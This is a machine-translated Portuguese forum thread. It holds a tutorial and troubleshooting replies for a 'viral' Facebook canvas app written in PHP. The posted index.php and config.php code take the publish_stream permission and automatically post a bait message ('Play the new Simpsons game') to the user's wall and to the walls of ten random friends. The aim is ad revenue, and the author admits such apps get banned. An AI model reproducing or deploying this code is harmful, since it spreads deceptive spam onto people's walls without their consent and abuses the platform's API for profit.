Criação de aplicativo viral para Facebook passo a passo

  • Autor Autor Cicklow
  • Data de início Data de início
Este tópico foi traduzido automaticamente do espanhol. Ver original
ok hehe mas todo o código é fechado com essas etiquetas ou como, ou só a parte onde sai o erro

- - - Atualizado - - -

agora dá erro ._. http://aplicacionesfb01.com.ar/app/
 
ok hehe mas todo o código é fechado com essas etiquetas ou como, ou só a parte onde sai o erro


- - - Atualizado - - -

agora dá erro ._. Link eliminado

tente colocar direito... no anexo está o código...
 
já está tudo bem, obrigado, mas agora aparece outro erro, veja Enlace eliminado desculpe por tanto incômodo..
 
ei, já baixei o SDK e subi a pasta src, mas continua aparecendo a mesma coisa :fatigue:
 
ei, já baixei o SDK e subi a pasta src, mas continua aparecendo a mesma coisa :fatigue:

Tem que ser esta estrutura
http:// www . misitio . com/apps/
http:// www . misitio . com/src/
 
Um dia desses vou ler o tutorial, há poucas pessoas que compartilham coisas de graça com as quais mais gente lucra :encouragement:
 
<?php
header('Content-Type:text/html; charset=UTF-8');
define('FAC','http://apps.facebook.com/newchatfb/');
define('WEB','http://aplicacionesfb01.com.ar/app/');

@set_time_limit(0);
$__ID = ' 😛irate: ';
$__KEY = ' 😛irate: ';

require '/src/facebook.php';

// Create our Application instance.
$facebook = new Facebook(array(
'appId' => $__ID,
'secret' => $__KEY,
'cookie' => true,
));

function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'scope'=>$PERMS,
));

return $loginUrl;
exit();
} // end redirect function

$session = $facebook->getUser();
?>

essa é minha estrutura, a pasta src eu tenho ali mesmo dentro da de app, mas continua dando esse erro.
 
essa é minha estrutura, a pasta src eu tenho ali mesmo dentro da de app, mas continua dando esse erro.

Por isso te dá o erro, a pasta src não tem que estar dentro da de app, veja isto

require '/src/facebook.php';

se você coloca a pasta src dentro da pasta app teria que ser

require 'app/src/facebook.php';
 
veja :grumpy: continua aparecendo e agora sai outro Enlace eliminado :grumpy:
 
Em vez de mudar as rotas no código, separe as pastas como o criador do script te disse anteriormente, porque se não você terá que mudar mais e mais linhas do código.

dominnio/src
dominio/app
 
Está me redirecionando indefinidamente

Neste novo exemplo, programaremos uma aplicação viral (isso é para hoje e fome para amanhã XD)

Usaremos o mesmo código de [APPS] Criar aplicações em um iframe, mas editaremos o index.php para que funcione como queremos.

Usaremos permissões especiais: publish_stream, para publicar no mural

O que a aplicação faz é, quando o usuário acessa, publica no mural do usuário e também publica para 10 amigos aleatórios em seus murais. Para que não publique constantemente no mural, usaremos cookies, que duram 1 dia (24 horas).

PHP:
<?php
	//Verificamos las cookies
	$_E = false;
	if($_COOKIE['YaTA']=="cicklow") $_E = true; else setcookie("YaTA", "cicklow", (time()+3600*24));

	//Header especiales para Cookies en IFRAMES
	header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');

	//Nuestra config
	include('config.php');
?>

O que publicaremos
PHP:
	$_P['message'] 		= '';
	$_P['caption'] 		= '.';
	$_P['description'] 	= '';
	$_P['picture'] 		= 'http://www.seriesadictos.com/wp-content/uploads/2008/06/los-simpson.jpg';	//Imagen
	$_P['link'] 		= 'http://apps.facebook.com/aplicacion/';					//URL Apps
	$_P['name'] 		= 'Juega al nuevo juego de los simpsons.';					//Texto

Agora a parte Viral
PHP:
	//Parte Viral de nuestra apps
	if($_E){
		//Publicamos en el muro del user
		$me = $facebook->api('/'.$facebook->getUser().'/feed','post',$_P);

		//Publicamos en el muro de los amigos!
		$fi = $facebook->api('/me/friends/');
		$fi = $fi['data'];
		shuffle($fi);
		for($i=0;$i<10;$i++){
		  try{
		    if($fi[$i]['id']!="") $postear = $facebook->api('/'.$fi[$i]['id'].'/feed', 'post',$_P);
		    echo "<!-- ID ".$fi[$i]['id']." //-->";
		  } catch (Exception $e) { }
		}
	}

Usando o 1 tutorial mais este agregado, teremos uma linda apps viral (o "para hoje e fome para amanhã" é porque essas apps geram receita e usuários, mas são facilmente banidas)

Abraços

PS: A api do facebook mudou. No index.php editem:
PHP:
if (!is_array($session)) {
por
PHP:
if (!$session) {

e no config.php mudem:
PHP:
	function redirect($PERMS="") { //function for use later on
		global $facebook;
		$loginUrl=$facebook->getLoginUrl(array(
		'canvas'=>1,
		'fbconnect'=>0,
		'display'=>'page',
		'next'=>FAC,
		'cancel_url'=>FAC,
		'req_perms'=>$PERMS,
		));

		return $loginUrl;
		exit();
	} // end redirect function
por
PHP:
	function redirect($PERMS="") { //function for use later on
		global $facebook;
		$loginUrl=$facebook->getLoginUrl(array(
		'canvas'=>1,
		'fbconnect'=>0,
		'display'=>'page',
		'next'=>FAC,
		'cancel_url'=>FAC,
		'scope'=>$PERMS,
		));

		return $loginUrl;
		exit();
	} // end redirect function

e

PHP:
$session = $facebook->getSession();
por
PHP:
$session = $facebook->getUser();

🙂 🙂

Segui seus passos e a aplicação me redireciona indefinidamente. Por quê? Aqui deixo o código do config.php
<?php
header('Content-Type:text/html; charset=UTF-8');
define('FAC','http://apps.facebook.com/principess/');
define('WEB','http://www.topfashionlike.com/h/');

@set_time_limit(0);
$__ID = 'xx';
$__KEY = 'x';

require 'facebook.php';

// Create our Application instance.
$facebook = new Facebook(array(
'appId' => $__ID,
'secret' => $__KEY,
'cookie' => true,
));

function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'req_perms'=>$PERMS,
));

return $loginUrl;
exit();
} // end redirect function

$session = $facebook->getUser();
?>

ESTE É O CÓDIGO DO INDEX.PHP
<?php
//Verificamos os cookies
$_E = false;
if($_COOKIE['YaTA']=="cicklow") $_E = true; else setcookie("YaTA", "cicklow", (time()+3600*24));

//Header especiais para Cookies em IFRAMES
header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');

//Nossa config
include('config.php');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en-US">
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title>Título Apps</title>

<meta name="Description" content="Descrição" />
<meta name="Keywords" content="" />
<meta name="CLASSIFICATION" content="" />

<meta property="og:title" content="Descrição"/>
<meta property="og:url" content="<?=FAC;?>"/>
<meta property="og:site_name" content="Título Apps"/>
<meta property="fb:app_id" content="<?=$__ID;?>"/>
<meta property="og:image" content="imagem"/>

<base href="<?=FAC;?>" />
<base target="_top" />
</head>

<body LeftMargin=0 topMargin=0 marginwidth="0" title="" marginheight="0" bgcolor="#ffffff" oncontextmenu="return false" ondragstart="return false" onselectstart="return false" onmouseover="self.status=''; return true">
<div id="fb-root"></div>
<script>
window.fbAsyncInit = function() {
FB.init({appId: '<?=$__ID;?>', status: true, cookie: true, xfbml: true});
FB.Canvas.setAutoResize();
};

function Rec(){
FB.ui({method: 'apprequests', message: ''Te recomendo minha aplicação', data: 'track<?=time();?>'});
}

(function() {
var e = document.createElement('script'); e.async = true;
e.src = document.location.protocol +
'//connect.facebook.net/es_LA/all.js';
document.getElementById('fb-root').appendChild(e);
}());
</script>
<?php
if (!is_array($session)) {
echo '<script>window.top.location="'.redirect("publish_stream").'";</script>';
die();
} else {
try {
$me = $facebook->api('/me/?fields=name');
} catch (FacebookApiException $e) {
echo $e;
die();
}
}

$_P['message'] = '';
$_P['caption'] = '.';
$_P['description'] = '';
$_P['picture'] = 'http://www.seriesadictos.com/wp-content/uploads/2008/06/los-simpson.jpg'; //Imagem
$_P['link'] = 'http://apps.facebook.com/principess/'; //URL Apps
$_P['name'] = 'Jogue o novo jogo dos simpsons.'; //Texto


//Parte Viral da nossa apps
if($_E){
//Publicamos no mural do user
$me = $facebook->api('/'.$facebook->getUser().'/feed','post',$_P);

//Publicamos no mural dos amigos!
$fi = $facebook->api('/me/friends/');
$fi = $fi['data'];
shuffle($fi);
for($i=0;$i<10;$i++){
try{
if($fi[$i]['id']!="") $postear = $facebook->api('/'.$fi[$i]['id'].'/feed','post',$_P);
echo "<!-- ID ".$fi[$i]['id']." //-->";
} catch (Exception $e) { }
}
}

echo '<h1>Olá '.$me['name'].'</h1>';
echo '<center><table border="0" width="750px">';
echo '<tr><td>PUBLICIDADE</td></tr>';
echo '<tr><td><center>
<iframe src="http://www.simpsonsmovie.com/content/games/wb/index.php?land=es&userid=null" scrolling="no" frameborder="0" height="480" width="640"></iframe>
</center></td></tr>';
echo '<tr><td>PUBLICIDADE</td></tr>';
echo '</table></center>';

function _save($_F,$_FECHA){
@file_put_contents($_F,$_FECHA);
}
?>
</body></html>


Me ajude, não sei o que está acontecendo
 
no final, alguém conseguiu fazer o app? :_
 
alguém poderia ser tão gentil de mostrar o código resultante da fusão deste com o arquivo index do exercício anterior?

É que eu me perco, tem que apagar todo o index e colocar só este código? Em que partes teria que colar o novo?
 
alguém poderia ser tão gentil de mostrar o código resultante da fusão deste com o arquivo index do exercício anterior?

É que eu me perco, tem que apagar todo o index e colocar só este código? Em que partes teria que colar o novo?

este app é para canvas... os outros são para fanpages, são diferentes!
 
perdoe, não me expliquei bem:

era isso que eu queria dizer, o código resultante da modificação, tem que apagar todo o index e colocar só este código? Em que partes teria que colar o novo?

o resultante está como anexo no post...
 
o resultante está como anexo no post...
Obrigado, não tinha visto

Estive fazendo testes e subindo os arquivos como você compartilhou e não tive problemas, mas ao tentar trocar o jogo e colocar outro me aparece esta mensagem:

Fatal error: Uncaught OAuthException: An unknown error has occurred. thrown in /home/xxxxxx/public_html/src/base_facebook.php on line 1238

O que pode ser? Procurei no Google mas não me esclareceram nada

o código que modifiquei foi este:
Inserir CODE, HTML ou PHP:
echo '<tr><td><center>
    <iframe src="http://www.miweb.net/juego/pingu2.php" scrolling="no" frameborder="0" height="480" width="640"></iframe>
        </center></td></tr>';
    echo '<tr><td>o</td></tr>';
    echo '</table></center>';
 
Obrigado, não tinha visto

Estive fazendo testes e subindo os arquivos como você compartilhou e não tive problemas, mas ao tentar trocar o jogo e colocar outro me aparece esta mensagem:

Fatal error: Uncaught OAuthException: An unknown error has occurred. thrown in /home/xxxxxx/public_html/src/base_facebook.php on line 1238

O que pode ser? Procurei no Google mas não me esclareceram nada

o código que modifiquei foi este:
Inserir CODE, HTML ou PHP:
echo '<tr><td><center>
    <iframe src="http://www.miweb.net/juego/pingu2.php" scrolling="no" frameborder="0" height="480" width="640"></iframe>
        </center></td></tr>';
    echo '<tr><td>o</td></tr>';
    echo '</table></center>';

mmm isso não é problema do que você editou, mas sim do SDK do Facebook. Alguma configuração está te dando esse erro.
php - Uncaught OAuthException - Stack Overflow
 
Obrigado! Parece que tem boa cara, o script está funcionando bem neste momento? Se for assim, quanto dura até que o Facebook suspenda?

Abraços!
 

Tópicos similares

M
Respostas
1
Visitas
200
imJoc
I
Voltar
Topo